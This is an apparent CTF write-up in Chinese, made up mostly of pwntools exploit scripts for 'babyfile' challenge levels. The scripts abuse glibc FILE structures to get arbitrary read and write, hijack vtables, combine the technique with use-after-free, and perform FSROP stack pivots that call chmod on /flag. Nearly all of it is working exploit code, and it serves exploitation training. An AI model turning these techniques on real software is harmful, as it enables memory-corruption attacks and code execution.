1. 任意地址读
前提条件:能够控制file_struct结构体,且能调用fwrite函数
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
binary_path = "./babyfile_level1"
binary_path = "/challenge/babyfile_level1"
p = process(binary_path)
p.recvuntil(b"The flag has been read into memory and is located at ")
secret = int(p.recvline().strip(b"\n"),16)
log.success(f"secret: {hex(secret)}")
#利用部分,可以借助pwntools工具的强大库函数帮助我们生成想要的结构体,十分方便
file = FileStructure()
payload = file.write(secret,0x30)
print(file)
"""
{ flags: 0x800
_IO_read_ptr: 0x0
_IO_read_end: 0x4040e0
_IO_read_base: 0x0
_IO_write_base: 0x4040e0
_IO_write_ptr: 0x404110
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0
"""
p.send(payload)
p.interactive()
1.1 变体: 利用stdout来任意地址读
前提条件:能够修改stdout结构体,知道要泄露的地址,调用puts/printf等函数
核心思路还是没变。
1. 调用puts/printf等函数时,发现缓冲区已满,打印缓冲区
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level5"
binary_path = "/challenge/babyfile_level5"
p = process(binary_path)
p.recvuntil(b"The flag has been read into memory and is located at ")
secret_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"secret_addr: {hex(secret_addr)}")
p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
fp = FileStructure()
payload = fp.write(secret_addr,0x30)
p.send(payload)
p.interactive()
2. 任意地址写
前提条件:能够控制file_struct结构体,且能调用fread函数
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
context.terminal = ["tmux","splitw","-h"]
binary_path = "./babyfile_level2"
#binary_path = "/challenge/babyfile_level2"
p = process(binary_path)
p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
#gdb.attach(p,"b *0x401A61")
#pause()
# file struct construction
file = FileStructure()
payload = file.read(0x4041F8,0x101) # 注意,read设置的buffer_size,必须大于fread读取的字节数;我猜测这么做的原因是,如果file_buf太小,就没必要拷贝到file_buf中了,直接拷贝到目标buffere中即可
print(file)
"""
{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x4041f8
_IO_buf_end: 0x4041fc
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
"""
print(payload)
p.send(payload)
p.recvuntil(b"Here is the contents of the FILE structure.")
p.send(b"a"*0x100)
p.interactive()
2.1 变体:利用stdin任意地址写
前提条件:能够修改stdin结构体,知道要泄露的地址,调用scanf等函数
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level6"
binary_path = "/challenge/babyfile_level6"
p = process(binary_path)
#gdb.attach(p,"b *0x401A3F")
p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
fp = FileStructure()
payload = fp.read(0x4041F8,0x30)
p.send(payload)
p.recvuntil(b"Please log in.")
p.send(b"\x01\n")
p.interactive()
3. 劫持vtable
前提条件: 1、知道libc地址和可控的内存地址 2、能修改FILE结构体
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level7"
binary_path = "/challenge/babyfile_level7"
p = process(binary_path)
# gdb.attach(p,"b fwrite")
# pause()
# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420
# 2. get control_mem addr
p.recvuntil(b"[LEAK] The name buffer is located at: ")
buf_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"buf_addr: {hex(buf_addr)}")
# 3. construct fake wide_data and vtable
win_addr = 0x4012E6
p.recvuntil(b"Please enter your name.")
payload = b"\x00"*0x68+p64(win_addr)+b"\x00"*(0xe0-0x70)+p64(buf_addr)
p.send(payload)
# 4. construct file_struct
p.recvuntil(b"Now reading from stdin directly to the FILE struct.")
fp = FileStructure()
fp._lock = buf_addr # *buf_addr = 0
fp._wide_data = buf_addr
fp.vtable = libc_base+0x1E8F78-0x38
p.send(bytes(fp))
# p.send(fp)
p.interactive()
3.1 变种1: 只有一个内存空间可写时,如何同时构造file_struct和vtable
在这种情况下,因为要在一个内存内同时构造多个结构,熟悉file_struct
中各个地址的布局就很重要:
fp -> 0x377f73b0
0x00 _flags *0x377f73b0 = 0xfbad2484
0x08 _IO_read_ptr *0x377f73b8 = (nil)
0x10 _IO_read_end *0x377f73c0 = (nil)
0x18 _IO_read_base *0x377f73c8 = (nil)
0x20 _IO_write_base *0x377f73d0 = (nil)
0x28 _IO_write_ptr *0x377f73d8 = (nil)
0x30 _IO_write_end *0x377f73e0 = (nil)
0x38 _IO_buf_base *0x377f73e8 = (nil)
0x40 _IO_buf_end *0x377f73f0 = (nil)
0x48 _IO_save_base *0x377f73f8 = (nil)
0x50 _IO_backup_base *0x377f7400 = (nil)
0x58 _IO_save_end *0x377f7408 = (nil)
0x60 _markers *0x377f7410 = (nil)
0x68 _chain *0x377f7418 = 0x7b96880295c0
0x70 _fileno *0x377f7420 = 3
0x74 _flags2 *0x377f7424 = 0
0x78 _old_offset *0x377f7428 = 0
0x80 _cur_column *0x377f7430 = 0
0x82 _vtable_offset *0x377f7432 = 0
0x83 _shortbuf *0x377f7433 = 51
0x88 _lock *0x377f7438 = 0x377f7490
0x90 _offset *0x377f7440 = -1
0x98 _codecvt *0x377f7448 = (nil)
0xa0 _wide_data *0x377f7450 = 0x377f74a0
0xa8 _freeres_list *0x377f7458 = (nil)
0xb0 _freeres_buf *0x377f7460 = (nil)
0xb8 __pad5 *0x377f7468 = 0
0xc0 _mode *0x377f7470 = 0
0xc4 _unused2[20] *0x377f7474 = {0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}
0xd8 _vtable
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
binary_path = "./babyfile_level8"
#binary_path = "/challenge/babyfile_level8"
p = process(binary_path)
gdb.attach(p,"b fwrite")
pause()
# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420
# 2. get buf_addr
p.recvuntil(b"[LEAK] You are writing to: ")
buf_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"buf_addr: {hex(buf_addr)}")
# 3. overwrife file_struct,construct vtable, _wide_data,
win_addr = 0x4012E6
fp = FileStructure()
fp._lock = buf_addr # file_struct+0x88 #如果不想_lock破坏结构,可以让_lock写在程序的最底部,比如buf_addr+0xe8的位置。
fp._wide_data = buf_addr # file_struct+0xa0
fp.vtable = libc_base+0x1E8DF8-0x38 # file_struct+0xd8 = exploit_vtable1
fp.chain = win_addr # exploit_vtable2 +0x68 = win_addr
payload = bytes(fp)+p64(buf_addr) # wide_data+0xe0 = exploit_vtable2
p.send(payload)
p.interactive()
3.2 变种2:覆盖stdout(IO_2_1_stdout) file结构体,同时构造file_struct和vtable
这种情况要求能够覆盖stdout file结构体,且执行printf/puts等函数
但是有个问题是你修改了stdout结构体后,几乎不可能输出内容了,所以这种情况最好还是能执行类似chmod 777 /flag类似的命令
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level9"
binary_path = "/challenge/babyfile_level9"
p = process(binary_path)
#gdb.attach(p,"b *0x401A16")
#pause()
# 1. get libc_addr
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr -0x84420
stdout_addr = libc_base +0x1ED6A0
log.success(f"stdout_addr: {hex(stdout_addr)}")
# 2. overwrife file_struct,construct vtable, _wide_data,
win_addr = 0x401866
fp = FileStructure()
fp._lock = stdout_addr # file_struct+0x88
fp.vtable = libc_base+0x1E8DF8-0x38 # file_struct+0xd8
fp._wide_data = stdout_addr # file_struct+0xa0
fp.chain = win_addr # exploit_vtable2 +0x68
payload = bytes(fp)+p64(stdout_addr) # wide_data+0xe0
p.recvuntil(b"Now reading from stdin directly to the FILE struct.\n")
p.send(payload)
p.interactive()
4. 综合利用部分
所谓综合利用,大概就是堆分配+file_struct
多的就不说了,总之就是利用file_struct给予我们的任意地址读写能力,做事情
4.1 任意地址读
原理上没有差别
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level11"
binary_path = "/challenge/babyfile_level11"
p = process(binary_path)
def new_note(size):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
p.sendline(b"new_note")
p.recvuntil(b"How many bytes to the note?\n> ")
p.sendline(str(size).encode())
return
def open_file():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
p.sendline(b"open_file")
return
def write_fp(fp):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
p.sendline(b"write_fp")
sleep(1)
p.send(fp)
def write_file():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/write_file/write_fp/quit):")
p.sendline(b"write_file")
# 1. get target_addr
p.recvuntil(b"The flag has been read into memory and is located at ")
target_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"target_addr: {hex(target_addr)}")
# 2. malloc a buffer_addr
new_note(0x200)
p.recvuntil(b" = ")
buf_addr = int(p.recvuntil(b";").strip(b";"),16)
log.success(f"buf_addr: {hex(buf_addr)}")
# 3. file_structure addr
open_file()
p.recvuntil(b'fp = fopen(\"/tmp/babyfile.txt\", \"w\") = ')
fp_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"fp_addr: {hex(fp_addr)}")
# 4. change file_structure
fp = FileStructure()
payload =fp.write(target_addr,0x40)
write_fp(payload)
# 5. arbitrary read
write_file()
p.interactive()
4.2 任意地址写
一样的逻辑
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
binary_path = "./babyfile_level14"
#binary_path = "/challenge/babyfile_level14"
# def write_file(idx):
# p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
# p.sendline(b"write_file")
# p.recvuntil(b"Which note? (0-10)\n> ")
# p.sendline(str(idx).encode())
def pwn(i):
def new_note(idx,size):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"new_note")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
p.recvuntil(b"How many bytes to the note?\n> ")
p.sendline(str(size).encode())
return
def open_file():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"open_file")
return
def write_fp(fp):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"write_fp")
sleep(1)
p.send(fp)
def read_file(idx):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"read_file")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
p = process(binary_path)
# 1. get target_addr
p.recvuntil(b"[LEAK] The address of cmd where you are writing to is: ")
stack_addr = int(p.recvline().strip(b"\n"),16)
target_addr = stack_addr + 0x98
log.success(f"target_addr: {hex(target_addr)}")
gdb.attach(p,"b *$rebase(0x1F96)\n b *$rebase(0x2032)")
pause()
# 2. malloc a buffer & open a file
new_note(0,0x2)
open_file()
# 3. hijack return_addr
fp = FileStructure()
payload = fp.read(target_addr,0x3)
write_fp(payload)
read_file(0)
sleep(1)
p.send(p8(0xc9)+p8((i<<4)|3))
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):\n")
p.sendline(b"quit")
result = p.recvall(100) # 注意设置一个较大的等待时间,让我们有足够的时间调试进程,否则recvall结束后,进程会自动关闭,导致gdb无法追踪。
if b"flag" in result:
print(result)
p.close()
# p.interactive()
for i in range(16):
pwn(i)
4.3 任意地址写_IO_2_1_stdout结构体,并进行任意地址读
前提是我们需要知道libc的地址以及我们要读的地址,并且能够利用file_struct的任意地址写能力,修改stdout的file_struct结构体
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level16"
binary_path = "/challenge/babyfile_level16"
p = process(binary_path)
def new_note(idx,size):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"new_note")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
p.recvuntil(b"How many bytes to the note?\n> ")
p.sendline(str(size).encode())
return
def open_file():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"open_file")
return
def write_fp(fp):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"write_fp")
sleep(1)
p.send(fp)
def read_file(idx):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_fp/quit):")
p.sendline(b"read_file")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
# 1. get libc_addr & target_buffer
p.recvuntil(b"The flag has been read into memory and is located at ")
target_buf = int(p.recvline().strip(b"\n"),16)
log.success(f"secret addr: {hex(target_buf)}")
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr - 0x84420
# 2. malloc a buffer & open a file
new_note(0,115)
open_file()
# gdb.attach(p,"b *0x401D00 ")
# pause()
# 3. arbitrary write to change stdout
stdout_addr = libc_base + 0x1ED6A0
fp = FileStructure()
payload = fp.read(stdout_addr,116)
print(f"len of payload1: {len(payload)}")
write_fp(payload)
read_file(0)
p.recvuntil(b"fread(notes")
fp = FileStructure()
payload = fp.write(target_buf,0x40)
print(f"len of payload2: {len(payload)}")
p.send(payload)
p.interactive()
4.4 结合uaf,进行任意地址读写
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
binary_path = "./babyfile_level17"
#binary_path = "/challenge/babyfile_level17"
p = process(binary_path)
def new_note(idx,size):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"new_note")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
p.recvuntil(b"How many bytes to the note?\n> ")
p.sendline(str(size).encode())
return
def open_file():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"open_file")
return
def close_file():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"close_file")
return
def open_flag():
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"open_flag")
return
def write_fp(fp):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"write_fp")
sleep(1)
p.send(fp)
def read_file(idx):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"read_file")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
def write_file(idx):
p.recvuntil(b"[*] Commands: (new_note/del_note/write_note/read_note/open_file/close_file/read_file/write_file/write_fp/open_flag/quit):")
p.sendline(b"write_file")
p.recvuntil(b"Which note? (0-10)\n> ")
p.sendline(str(idx).encode())
# 1. malloc a buffer
new_note(0,0xe0)
p.recvuntil(b"notes[0] = ")
secret_addr = int(p.recvuntil(b";").strip(b";"),16)
log.success(f"secret_addr: {hex(secret_addr)}")
# 2. uaf: open file & close file, and open flag_file
open_file() # fp -> /tmp/babyfile.txt
close_file()
open_flag() # now fp -> /tmp/babyflag.txt
read_file(0) # now secret_buffer is flag
# 3. construct file_structure
fp = FileStructure()
payload = fp.write(secret_addr,0xe0)
write_fp(payload)
write_file(0)
#gdb.attach(p)
print(fp)
p.interactive()
4.5 vtable劫持利用手法(现在)变种: FSROP
劫持vtable可以劫持程序的控制流,在此基础之上,我们可以借助libc中的两条神秘gadget完成stack pivot,从而实现rop
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
#context.terminal = ["tmux","splitw","-h"]
#binary_path = "./babyfile_level21"
binary_path = "/challenge/babyfile_level21"
p = process(binary_path)
p.recvuntil(b"[LEAK] The address of puts() within libc is: ")
puts_addr = int(p.recvline().strip(b"\n"),16)
log.success(f"puts_addr: {hex(puts_addr)}")
libc_base = puts_addr-0x84420
stderr_addr = libc_base + 0x1ED5C0
stdout_addr = libc_base + 0x1ED6A0
system_addr = libc_base + 0x52290
# special gadget1
"""
mov rdx,QWORD PTR [rdi+0x8];
mov QWORD PTR [rsp],rax
call QWORD PTR [rdx+0x20]
"""
special_gadget1 = libc_base + 0x0000000000151bb0
# special gadget2
"""
.text:0000000000054F5D mov rsp, [rdx+0A0h]
.text:0000000000054F64 mov rbx, [rdx+80h]
.text:0000000000054F6B mov rbp, [rdx+78h]
.text:0000000000054F6F mov r12, [rdx+48h]
.text:0000000000054F73 mov r13, [rdx+50h]
.text:0000000000054F77 mov r14, [rdx+58h]
.text:0000000000054F7B mov r15, [rdx+60h]
.text:0000000000054F7F test dword ptr fs:48h, 2
.text:0000000000054F8B jz loc_55046
.text:0000000000055046 mov rcx, [rdx+0A8h]
.text:000000000005504D push rcx
.text:000000000005504E mov rsi, [rdx+70h]
.text:0000000000055052 mov rdi, [rdx+68h]
.text:0000000000055056 mov rcx, [rdx+98h]
.text:000000000005505D mov r8, [rdx+28h]
.text:0000000000055061 mov r9, [rdx+30h]
.text:0000000000055065 mov rdx, [rdx+88h]
.text:0000000000055065 ; } // starts at 54F20
.text:000000000005506C ; __unwind {
.text:000000000005506C xor eax, eax
.text:000000000005506E retn
"""
special_gadget2 = libc_base + 0x54f5d
stdout_fp = FileStructure()
stdout_fp._lock = stderr_addr
stdout_fp.vtable = libc_base + 0x1E8DF8 - 0x38
stdout_fp._wide_data = stdout_addr
stdout_fp.chain = special_gadget1
stdout_fp._IO_read_ptr = stderr_addr # stdout+0x8: mov rdx,QWORD PTR [rdi+0x8];
stderr_fp = FileStructure()
stderr_fp.vtable = libc_base + 0x1e94a0 # just for fully generating file_struct(0xe0 size)
stderr_fp._IO_write_base = special_gadget2 # stderr+0x20: call QWORD PTR [rdx+0x20]
stderr_fp._wide_data = stderr_addr+0xd8 # mov rsp, [rdx+0A0h]
stderr_fp.unknown2 = libc_base + 0x10DD80 # chmod
stderr_fp.chain = stderr_addr+ 0x10 # mov rdi, [rdx+68h]
stderr_fp.fileno = 511 # mov rsi, [rdx+70h]
stderr_fp._IO_read_end = u64(b"/flag\x00\x00\x00")
payload = bytes(stderr_fp)+bytes(stdout_fp)+p64(stdout_addr)
# gdb.attach(p,"b *$rebase(0x13D3)")
# pause()
p.send(payload)
p.interactive()
原理可以参考:https://blog.kylebot.net/2022/10/22/angry-FSROP/
跟上时代之高版本GLIBC下堆利用(一)